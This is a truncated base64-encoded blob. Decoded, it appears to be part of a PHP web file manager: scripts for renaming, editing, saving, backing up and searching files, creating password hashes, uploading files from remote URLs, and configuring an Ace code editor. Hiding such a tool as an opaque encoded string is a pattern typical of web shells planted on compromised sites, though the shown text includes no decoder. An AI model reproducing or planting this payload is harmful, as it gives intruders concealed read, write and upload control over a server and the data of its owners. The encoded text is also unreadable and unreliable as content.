GpzKXtqcz8oY29kZSs9bGluZS5tYXRjaChyZUV4cCk/bGluZSsnXG4nOidyLnB1c2goJytsaW5lKycpO1xuJyk6KGNvZGUrPWxpbmUhPScnPydyLnB1c2goIicrbGluZS5yZXBsYWNlKC8iL2csJ1xcIicpKyciKTtcbic6JycpO3JldHVybiBhZGR9CiAgICAgICAgd2hpbGUobWF0Y2g9cmUuZXhlYyhodG1sKSl7YWRkKGh0bWwuc2xpY2UoY3Vyc29yLG1hdGNoLmluZGV4KSkobWF0Y2hbMV0sITApO2N1cnNvcj1tYXRjaC5pbmRleCttYXRjaFswXS5sZW5ndGh9CiAgICAgICAgYWRkKGh0bWwuc3Vic3RyKGN1cnNvcixodG1sLmxlbmd0aC1jdXJzb3IpKTtjb2RlKz0ncmV0dXJuIHIuam9pbigiIik7JztyZXR1cm4gbmV3IEZ1bmN0aW9uKGNvZGUucmVwbGFjZSgvW1xyXHRcbl0vZywnJykpLmFwcGx5KG9wdGlvbnMpCiAgICB9CiAgICBmdW5jdGlvbiByZW5hbWUoZSwgdCkgeyBpZih0KSB7ICQoIiNqcy1yZW5hbWUtZnJvbSIpLnZhbCh0KTskKCIjanMtcmVuYW1lLXRvIikudmFsKHQpOyAkKCIjcmVuYW1lRGFpbG9nIikubW9kYWwoJ3Nob3cnKTsgfSB9CiAgICBmdW5jdGlvbiBjaGFuZ2VfY2hlY2tib3hlcyhlLCB0KSB7IGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSAiYm9vbGVhbiIgPT0gdHlwZW9mIHQgPyB0IDogIWVbbl0uY2hlY2tlZCB9CiAgICBmdW5jdGlvbiBnZXRfY2hlY2tib3hlcygpIHsgZm9yICh2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlOYW1lKCJmaWxlW10iKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkgKGVbbl0udHlwZSA9ICJjaGVja2JveCIpICYmIHQucHVzaChlW25dKTsgcmV0dXJuIHQgfQogICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHsgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwgITApIH0KICAgIGZ1bmN0aW9uIHVuc2VsZWN0X2FsbCgpIHsgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwgITEpIH0KICAgIGZ1bmN0aW9uIGludmVydF9hbGwoKSB7IGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpIH0KICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHsgdmFyIGUgPSBnZXRfY2hlY2tib3hlcygpOyBlLnB1c2godGhpcyksIGNoYW5nZV9jaGVja2JveGVzKGUpIH0KICAgIGZ1bmN0aW9uIGJhY2t1cChlLCB0KSB7IC8vIENyZWF0ZSBmaWxlIGJhY2t1cCB3aXRoIC5iY2sKICAgICAgICB2YXIgbiA9IG5ldyBYTUxIdHRwUmVxdWVzdCwKICAgICAgICAgICAgYSA9ICJwYXRoPSIgKyBlICsgIiZmaWxlPSIgKyB0ICsgIiZ0b2tlbj0iKyB3aW5kb3cuY3NyZiArIiZ0eXBlPWJhY2t1cCZhamF4PXRydWUiOwogICAgICAgIHJldHVybiBuLm9wZW4oIlBPU1QiLCAiIiwgITApLCBuLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgIDQgPT0gbi5yZWFkeVN0YXRlICYmIDIwMCA9PSBuLnN0YXR1cyAmJiB0b2FzdChuLnJlc3BvbnNlVGV4dCkKICAgICAgICB9LCBuLnNlbmQoYSksICExCiAgICB9CiAgICAvLyBUb2FzdCBtZXNzYWdlCiAgICBmdW5jdGlvbiB0b2FzdCh0eHQpIHsgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic25hY2tiYXIiKTt4LmlubmVySFRNTD10eHQ7eC5jbGFzc05hbWUgPSAic2hvdyI7c2V0VGltZW91dChmdW5jdGlvbigpeyB4LmNsYXNzTmFtZSA9IHguY2xhc3NOYW1lLnJlcGxhY2UoInNob3ciLCAiIik7IH0sIDMwMDApOyB9CiAgICAvLyBTYXZlIGZpbGUKICAgIGZ1bmN0aW9uIGVkaXRfc2F2ZShlLCB0KSB7CiAgICAgICAgdmFyIG4gPSAiYWNlIiA9PSB0ID8gZWRpdG9yLmdldFNlc3Npb24oKS5nZXRWYWx1ZSgpIDogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm5vcm1hbC1lZGl0b3IiKS52YWx1ZTsKICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG4gIT09IG51bGwpIHsKICAgICAgICAgICAgaWYgKHRydWUpIHsKICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge2FqYXg6IHRydWUsIGNvbnRlbnQ6IG4sIHR5cGU6ICdzYXZlJywgdG9rZW46IHdpbmRvdy5jc3JmfTsKCiAgICAgICAgICAgICAgICAkLmFqYXgoewogICAgICAgICAgICAgICAgICAgIHR5cGU6ICJQT1NUIiwKICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbiwKICAgICAgICAgICAgICAgICAgICBkYXRhOiBKU09OLnN0cmluZ2lmeShkYXRhKSwKICAgICAgICAgICAgICAgICAgICBjb250ZW50VHlwZTogImFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgiLAogICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uKG1lcyl7dG9hc3QoIlNhdmVkIFN1Y2Nlc3NmdWxseSIpOyB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtyZXR1cm59fSwKICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHt0b2FzdCgiRXJyb3I6IHRyeSBhZ2FpbiIpO30sCiAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge3RvYXN0KGA8cCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjpyZWQiPiR7bWVzLnJlc3BvbnNlVGV4dH08L3A+YCk7fQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImZvcm0iKTsKICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKCJtZXRob2QiLCAiUE9TVCIpLCBhLnNldEF0dHJpYnV0ZSgiYWN0aW9uIiwgIiIpOwogICAgICAgICAgICAgICAgdmFyIG8gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0ZXh0YXJlYXBvcG9qaWNtcyIpOwogICAgICAgICAgICAgICAgby5zZXRBdHRyaWJ1dGUoInR5cGUiLCAidGV4dGFyZWFwb3BvamljbXMiKSwgby5zZXRBdHRyaWJ1dGUoIm5hbWUiLCAic2F2ZWRhdGEiKTsKICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7IGN4LnNldEF0dHJpYnV0ZSgidHlwZSIsICJoaWRkZW4iKTtjeC5zZXRBdHRyaWJ1dGUoIm5hbWUiLCAidG9rZW4iKTtjeC5zZXRBdHRyaWJ1dGUoInZhbHVlIiwgd2luZG93LmNzcmYpOwogICAgICAgICAgICAgICAgdmFyIGMgPSBkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShuKTsKICAgICAgICAgICAgICAgIG8uYXBwZW5kQ2hpbGQoYyksIGEuYXBwZW5kQ2hpbGQobyksIGEuYXBwZW5kQ2hpbGQoY3gpLCBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpLCBhLnN1Ym1pdCgpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBmdW5jdGlvbiBzaG93X25ld19wd2QoKSB7ICQoIi5qcy1uZXctcHdkIikudG9nZ2xlQ2xhc3MoJ2hpZGRlbicpOyB9CiAgICAvLyBTYXZlIFNldHRpbmdzCiAgICBmdW5jdGlvbiBzYXZlX3NldHRpbmdzKCR0aGlzKSB7CiAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKTsKICAgICAgICAkLmFqYXgoewogICAgICAgICAgICB0eXBlOiBmb3JtLmF0dHIoJ21ldGhvZCcpLCB1cmw6IGZvcm0uYXR0cignYWN0aW9uJyksIGRhdGE6IGZvcm0uc2VyaWFsaXplKCkrIiZ0b2tlbj0iKyB3aW5kb3cuY3NyZiArIiZhamF4PSIrdHJ1ZSwKICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24gKGRhdGEpIHtpZihkYXRhKSB7IHdpbmRvdy5sb2NhdGlvbi5yZWxvYWQoKTt9fQogICAgICAgIH0pOyByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAvL0NyZWF0ZSBuZXcgcGFzc3dvcmQgaGFzaAogICAgZnVuY3Rpb24gbmV3X3Bhc3N3b3JkX2hhc2goJHRoaXMpIHsKICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLCAkcHdkID0gJCgiI2pzLXB3ZC1yZXN1bHQiKTsgJHB3ZC52YWwoJycpOwogICAgICAgICQuYWpheCh7CiAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSwgZGF0YTogZm9ybS5zZXJpYWxpemUoKSsiJnRva2VuPSIrIHdpbmRvdy5jc3JmICsiJmFqYXg9Iit0cnVlLAogICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbiAoZGF0YSkgeyBpZihkYXRhKSB7ICRwd2QudmFsKGRhdGEpOyB9IH0KICAgICAgICB9KTsgcmV0dXJuIGZhbHNlOwogICAgfQogICAgLy8gVXBsb2FkIGZpbGVzIHVzaW5nIFVSTCBAcGFyYW0ge09iamVjdH0KICAgIGZ1bmN0aW9uIHVwbG9hZF9mcm9tX3VybCgkdGhpcykgewogICAgICAgIGxldCBmb3JtID0gJCgkdGhpcyksIHJlc3VsdFdyYXBwZXIgPSAkKCJkaXYjanMtdXJsLXVwbG9hZF9fbGlzdCIpOwogICAgICAgICQuYWpheCh7CiAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSwgZGF0YTogZm9ybS5zZXJpYWxpemUoKSsiJnRva2VuPSIrIHdpbmRvdy5jc3JmICsiJmFqYXg9Iit0cnVlLAogICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHsgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS5hdHRyKCJkaXNhYmxlZCIsImRpc2FibGVkIik7IGZvcm0uZmluZCgiYnV0dG9uIikuaGlkZSgpOyBmb3JtLmZpbmQoIi5sZHMtZmFjZWJvb2siKS5hZGRDbGFzcygnc2hvdy1tZScpOyB9LAogICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbiAoZGF0YSkgewogICAgICAgICAgICAgICAgaWYoZGF0YSkgewogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpOwogICAgICAgICAgICAgICAgICAgIGlmKGRhdGEuZG9uZSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyLmFwcGVuZCgnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyByb3ciPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcrZGF0YS5kb25lLm5hbWUrJzwvZGl2PicpOyBmb3JtLmZpbmQoImlucHV0W25hbWU9dXBsb2FkdXJsXSIpLnZhbCgnJyk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmKGRhdGFbJ2ZhaWwnXSkgeyByZXN1bHRXcmFwcGVyLmFwcGVuZCgnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIHJvdyI+RXJyb3I6ICcrZGF0YS5mYWlsLm1lc3NhZ2UrJzwvZGl2PicpOyB9CiAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS5yZW1vdmVBdHRyKCJkaXNhYmxlZCIpO2Zvcm0uZmluZCgiYnV0dG9uIikuc2hvdygpO2Zvcm0uZmluZCgiLmxkcy1mYWNlYm9vayIpLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHsKICAgICAgICAgICAgICAgIGZvcm0uZmluZCgiaW5wdXRbbmFtZT11cGxvYWR1cmxdIikucmVtb3ZlQXR0cigiZGlzYWJsZWQiKTtmb3JtLmZpbmQoImJ1dHRvbiIpLnNob3coKTtmb3JtLmZpbmQoIi5sZHMtZmFjZWJvb2siKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO2NvbnNvbGUuZXJyb3IoeGhyKTsKICAgICAgICAgICAgfQogICAgICAgIH0pOyByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAvLyBTZWFyY2ggdGVtcGxhdGUKICAgIGZ1bmN0aW9uIHNlYXJjaF90ZW1wbGF0ZShkYXRhKSB7CiAgICAgICAgdmFyIHJlc3BvbnNlID0gIiI7CiAgICAgICAgJC5lYWNoKGRhdGEsIGZ1bmN0aW9uIChrZXksIHZhbCkgewogICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9Ij9wPSR7dmFsLnBhdGh9JnZpZXc9JHt2YWwubmFtZX0iPiR7dmFsLnBhdGh9LyR7dmFsLm5hbWV9PC9hPjwvbGk+YDsKICAgICAgICB9KTsKICAgICAgICByZXR1cm4gcmVzcG9uc2U7CiAgICB9CiAgICAvLyBBZHZhbmNlIHNlYXJjaAogICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkgewogICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKCJpbnB1dCNhZHZhbmNlZC1zZWFyY2giKS52YWwoKSwgc2VhcmNoV3JhcHBlciA9ICQoInVsI3NlYXJjaC13cmFwcGVyIiksIHBhdGggPSAkKCIjanMtc2VhcmNoLW1vZGFsIikuYXR0cigiaHJlZiIpLCBfaHRtbCA9ICIiLCAkbG9hZGVyID0gJCgiZGl2Lmxkcy1mYWNlYm9vayIpOwogICAgICAgIGlmKCEhc2VhcmNoVHh0ICYmIHNlYXJjaFR4dC5sZW5ndGggPiAyICYmIHBhdGgpIHsKICAgICAgICAgICAgdmFyIGRhdGEgPSB7YWpheDogdHJ1ZSwgY29udGVudDogc2VhcmNoVHh0LCBwYXRoOnBhdGgsIHR5cGU6ICdzZWFyY2gnLCB0b2tlbjogd2luZG93LmNzcmYgfTsKICAgICAgICAgICAgJC5hamF4KHsKICAgICAgICAgICAgICAgIHR5cGU6ICJQT1NUIiwKICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLAogICAgICAgICAgICAgICAgZGF0YTogZGF0YSwKICAgICAgICAgICAgICAgIGJlZm9yZVNlbmQ6IGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnJyk7CiAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5hZGRDbGFzcygnc2hvdy1tZScpOwogICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uKGRhdGEpewogICAgICAgICAgICAgICAgICAgICRsb2FkZXIucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTsKICAgICAgICAgICAgICAgICAgICBkYXRhID0gSlNPTi5wYXJzZShkYXRhKTsKICAgICAgICAgICAgICAgICAgICBpZihkYXRhICYmIGRhdGEubGVuZ3RoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpOwogICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7IHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9Im0tMiI+Tm8gcmVzdWx0IGZvdW5kITxwPicpOyB9CiAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKHhocikgeyAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7IHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9Im0tMiI+RVJST1I6IFRyeSBhZ2FpbiBsYXRlciE8L3A+Jyk7IH0sCiAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHsgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpOyBzZWFyY2hXcmFwcGVyLmh0bWwoJzxwIGNsYXNzPSJtLTIiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPC9wPicpO30KICAgICAgICAgICAgfSk7CiAgICAgICAgfSBlbHNlIHsgc2VhcmNoV3JhcHBlci5odG1sKCJPT1BTOiBtaW5pbXVtIDMgY2hhcmFjdGVycyByZXF1aXJlZCEiKTsgfQogICAgfQoKICAgIC8vIGFjdGlvbiBjb25maXJtIGRhaWxvZyBtb2RhbAogICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gIkFjdGlvbiIsIGNvbnRlbnQgPSAiIiwgYWN0aW9uID0gbnVsbCkgewogICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICBjb25zdCB0cGxPYmogPSB7aWQsIHRpdGxlLCBjb250ZW50OiBkZWNvZGVVUklDb21wb25lbnQoY29udGVudC5yZXBsYWNlKC9cKy9nLCAnICcpKSwgYWN0aW9ufTsKICAgICAgICBsZXQgdHBsID0gJCgiI2pzLXRwbC1jb25maXJtIikuaHRtbCgpOwogICAgICAgICQoIi5tb2RhbC5jb25maXJtRGFpbG9nIikucmVtb3ZlKCk7CiAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLHRwbE9iaikpOwogICAgICAgIGNvbnN0ICRjb25maXJtRGFpbG9nID0gJCgiI2NvbmZpcm1EYWlsb2ctIit0cGxPYmouaWQpOwogICAgICAgICRjb25maXJtRGFpbG9nLm1vZGFsKCdzaG93Jyk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgCgogICAgLy8gb24gbW91c2UgaG92ZXIgaW1hZ2UgcHJldmlldwogICAgIWZ1bmN0aW9uKHMpe3MucHJldmlld0ltYWdlPWZ1bmN0aW9uKGUpe3ZhciBvPXMoZG9jdW1lbnQpLHQ9Ii5wcmV2aWV3SW1hZ2UiLGE9cy5leHRlbmQoe3hPZmZzZXQ6MjAseU9mZnNldDotMjAsZmFkZUluOiJmYXN0Iixjc3M6e3BhZGRpbmc6IjVweCIsYm9yZGVyOiIxcHggc29saWQgI2NjY2NjYyIsImJhY2tncm91bmQtY29sb3IiOiIjZmZmIn0sZXZlbnRTZWxlY3RvcjoiW2RhdGEtcHJldmlldy1pbWFnZV0iLGRhdGFLZXk6InByZXZpZXdJbWFnZSIsb3ZlcmxheUlkOiJwcmV2aWV3LWltYWdlLXBsdWdpbi1vdmVybGF5In0sZSk7cmV0dXJuIG8ub2ZmKHQpLG8ub24oIm1vdXNlb3ZlciIrdCxhLmV2ZW50U2VsZWN0b3IsZnVuY3Rpb24oZSl7cygicCMiK2Eub3ZlcmxheUlkKS5yZW1vdmUoKTt2YXIgbz1zKCI8cD4iKS5hdHRyKCJpZCIsYS5vdmVybGF5SWQpLmNzcygicG9zaXRpb24iLCJhYnNvbHV0ZSIpLmNzcygiZGlzcGxheSIsIm5vbmUiKS5hcHBlbmQocygnPGltZyBjbGFzcz0iYy1wcmV2aWV3LWltZyI+JykuYXR0cigic3JjIixzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO2EuY3NzJiZvLmNzcyhhLmNzcykscygiYm9keSIpLmFwcGVuZChvKSxvLmNzcygidG9wIixlLnBhZ2VZK2EueU9mZnNldCsicHgiKS5jc3MoImxlZnQiLGUucGFnZVgrYS54T2Zmc2V0KyJweCIpLmZhZGVJbihhLmZhZGVJbil9KSxvLm9uKCJtb3VzZW91dCIrdCxhLmV2ZW50U2VsZWN0b3IsZnVuY3Rpb24oKXtzKCIjIithLm92ZXJsYXlJZCkucmVtb3ZlKCl9KSxvLm9uKCJtb3VzZW1vdmUiK3QsYS5ldmVudFNlbGVjdG9yLGZ1bmN0aW9uKGUpe3MoIiMiK2Eub3ZlcmxheUlkKS5jc3MoInRvcCIsZS5wYWdlWSthLnlPZmZzZXQrInB4IikuY3NzKCJsZWZ0IixlLnBhZ2VYK2EueE9mZnNldCsicHgiKX0pLHRoaXN9LHMucHJldmlld0ltYWdlKCl9KGpRdWVyeSk7CgogICAgLy8gRG9tIFJlYWR5IEV2ZW50cwogICAgJChkb2N1bWVudCkucmVhZHkoIGZ1bmN0aW9uICgpIHsKICAgICAgICAvLyBkYXRhVGFibGUgaW5pdAogICAgICAgIHZhciAkdGFibGUgPSAkKCcjbWFpbi10YWJsZScpLAogICAgICAgICAgICB0YWJsZUxuZyA9ICR0YWJsZS5maW5kKCd0aCcpLmxlbmd0aCwKICAgICAgICAgICAgX3RhcmdldHMgPSAodGFibGVMbmcgJiYgdGFibGVMbmcgPT0gNyApID8gWzAsIDQsNSw2XSA6IHRhYmxlTG5nID09IDUgPyBbMCw0XSA6IFszXTsKICAgICAgICAgICAgbWFpblRhYmxlID0gJCgnI21haW4tdGFibGUnKS5EYXRhVGFibGUoe3BhZ2luZzogZmFsc2UsIGluZm86IGZhbHNlLCBvcmRlcjogW10sIGNvbHVtbkRlZnM6IFt7dGFyZ2V0czogX3RhcmdldHMsIG9yZGVyYWJsZTogZmFsc2V9XQogICAgICAgIH0pOwogICAgICAgIC8vIGZpbHRlciB0YWJsZQogICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbiggJ2tleXVwJywgZnVuY3Rpb24gKCkgewogICAgICAgICAgICBtYWluVGFibGUuc2VhcmNoKCB0aGlzLnZhbHVlICkuZHJhdygpOwogICAgICAgIH0pOwogICAgICAgICQoImlucHV0I2FkdmFuY2VkLXNlYXJjaCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uIChlKSB7CiAgICAgICAgICAgIGlmIChlLmtleUNvZGUgPT09IDEzKSB7IGZtX3NlYXJjaCgpOyB9CiAgICAgICAgfSk7CiAgICAgICAgJCgnI3NlYXJjaC1hZGRvbjMnKS5vbiggJ2NsaWNrJywgZnVuY3Rpb24gKCkgeyBmbV9zZWFyY2goKTsgfSk7CiAgICAgICAgLy91cGxvYWQgbmF2IHRhYnMKICAgICAgICAkKCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnMiKS5vbigiY2xpY2siLCAnYScsIGZ1bmN0aW9uKGUpewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7bGV0IHRhcmdldD0kKHRoaXMpLmRhdGEoJ3RhcmdldCcpOwogICAgICAgICAgICAkKCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnMgYSIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTskKHRoaXMpLmFkZENsYXNzKCdhY3RpdmUnKTsKICAgICAgICAgICAgJCgiLmZtLXVwbG9hZC13cmFwcGVyIC5jYXJkLXRhYnMtY29udGFpbmVyIikuYWRkQ2xhc3MoJ2hpZGRlbicpOyQodGFyZ2V0KS5yZW1vdmVDbGFzcygnaGlkZGVuJyk7CiAgICAgICAgfSk7CiAgICB9KTsKPC9zY3JpcHQ+Cjw/cGhwIGlmIChpc3NldCgkX0dFVFsnZWRpdCddKSAmJiBpc3NldCgkX0dFVFsnZW52J10pICYmIEZNX0VESVRfRklMRSAmJiAhRk1fUkVBRE9OTFkpOgogICAgICAgIAogICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFsiZWRpdCJdLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgICAgICRleHQgPSAgJGV4dCA9PSAianMiID8gImphdmFzY3JpcHQiIDogICRleHQ7CiAgICAgICAgPz4KICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz4KICAgIDxzY3JpcHQ+CiAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KCJlZGl0b3IiKTsKICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoIHtwYXRoOiJhY2UvbW9kZS88P3BocCBlY2hvICRleHQ7ID8+IiwgaW5saW5lOnRydWV9ICk7CiAgICAgICAgLy9lZGl0b3Iuc2V0VGhlbWUoImFjZS90aGVtZS90d2lsaWdodCIpOyAvL0RhcmsgVGhlbWUKICAgICAgICBlZGl0b3Iuc2V0U2hvd1ByaW50TWFyZ2luKGZhbHNlKTsgLy8gSGlkZSB0aGUgdmVydGljYWwgcnVsZXIKICAgICAgICBmdW5jdGlvbiBhY2VfY29tbWVuZCAoY21kKSB7IGVkaXRvci5jb21tYW5kcy5leGVjKGNtZCwgZWRpdG9yKTsgfQogICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbewogICAgICAgICAgICBuYW1lOiAnc2F2ZScsIGJpbmRLZXk6IHt3aW46ICdDdHJsLVMnLCAgbWFjOiAnQ29tbWFuZC1TJ30sCiAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikgeyBlZGl0X3NhdmUodGhpcywgJ2FjZScpOyB9CiAgICAgICAgfV0pOwogICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHsKICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKCJzZWxlY3QjanMtYWNlLW1vZGUiKSwgJHRoZW1lRWwgPSAkKCJzZWxlY3QjanMtYWNlLXRoZW1lIiksICRmb250U2l6ZUVsID0gJCgic2VsZWN0I2pzLWFjZS1mb250U2l6ZSIpLCBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKXsgdmFyICRPcHRpb24gPSAiIjsgJC5lYWNoKGFyciwgZnVuY3Rpb24oaSwgdmFsKSB7ICRPcHRpb24gKz0gIjxvcHRpb24gdmFsdWU9JyIrdHlwZStpKyInPiIgKyB2YWwgKyAiPC9vcHRpb24+IjsgfSk7IHJldHVybiAkT3B0aW9uOyB9LAogICAgICAgICAgICAgICAgX2RhdGEgPSB7ImFjZVRoZW1lIjp7ImJyaWdodCI6eyJjaHJvbWUiOiJDaHJvbWUiLCJjbG91ZHMiOiJDbG91ZHMiLCJjcmltc29uX2VkaXRvciI6IkNyaW1zb24gRWRpdG9yIiwiZGF3biI6IkRhd24iLCJkcmVhbXdlYXZlciI6IkRyZWFtd2VhdmVyIiwiZWNsaXBzZSI6IkVjbGlwc2UiLCJnaXRodWIiOiJHaXRIdWIiLCJpcGxhc3RpYyI6IklQbGFzdGljIiwic29sYXJpemVkX2xpZ2h0IjoiU29sYXJpemVkIExpZ2h0IiwidGV4dG1hdGUiOiJUZXh0TWF0ZSIsInRvbW9ycm93IjoiVG9tb3Jyb3ciLCJ4Y29kZSI6IlhDb2RlIiwia3Vyb2lyIjoiS3Vyb2lyIiwia2F0emVubWlsY2giOiJLYXR6ZW5NaWxjaCIsInNxbHNlcnZlciI6IlNRTCBTZXJ2ZXIifSwiZGFyayI6eyJhbWJpYW5jZSI6IkFtYmlhbmNlIiwiY2hhb3MiOiJDaGFvcyIsImNsb3Vkc19taWRuaWdodCI6IkNsb3VkcyBNaWRuaWdodCIsImRyYWN1bGEiOiJEcmFjdWxhIiwiY29iYWx0IjoiQ29iYWx0IiwiZ3J1dmJveCI6IkdydXZib3giLCJnb2IiOiJHcmVlbiBvbiBCbGFjayIsImlkbGVfZmluZ2VycyI6ImlkbGUgRmluZ2VycyIsImtyX3RoZW1lIjoia3JUaGVtZSIsIm1lcmJpdm9yZSI6Ik1lcmJpdm9yZSIsIm1lcmJpdm9yZV9zb2Z0IjoiTWVyYml2b3JlIFNvZnQiLCJtb25vX2luZHVzdHJpYWwiOiJNb25vIEluZHVzdHJpYWwiLCJtb25va2FpIjoiTW9ub2thaSIsInBhc3RlbF9vbl9kYXJrIjoiUGFzdGVsIG9uIGRhcmsiLCJzb2xhcml6ZWRfZGFyayI6IlNvbGFyaXplZCBEYXJrIiwidGVybWluYWwiOiJUZXJtaW5hbCIsInRvbW9ycm93X25pZ2h0IjoiVG9tb3Jyb3cgTmlnaHQiLCJ0b21vcnJvd19uaWdodF9ibHVlIjoiVG9tb3Jyb3cgTmlnaHQgQmx1ZSIsInRvbW9ycm93X25pZ2h0X2JyaWdodCI6IlRvbW9ycm93IE5pZ2h0IEJyaWdodCIsInRvbW9ycm93X25pZ2h0X2VpZ2h0aWVzIjoiVG9tb3Jyb3cgTmlnaHQgODBzIiwidHdpbGlnaHQiOiJUd2lsaWdodCIsInZpYnJhbnRfaW5rIjoiVmlicmFudCBJbmsifX0sImFjZ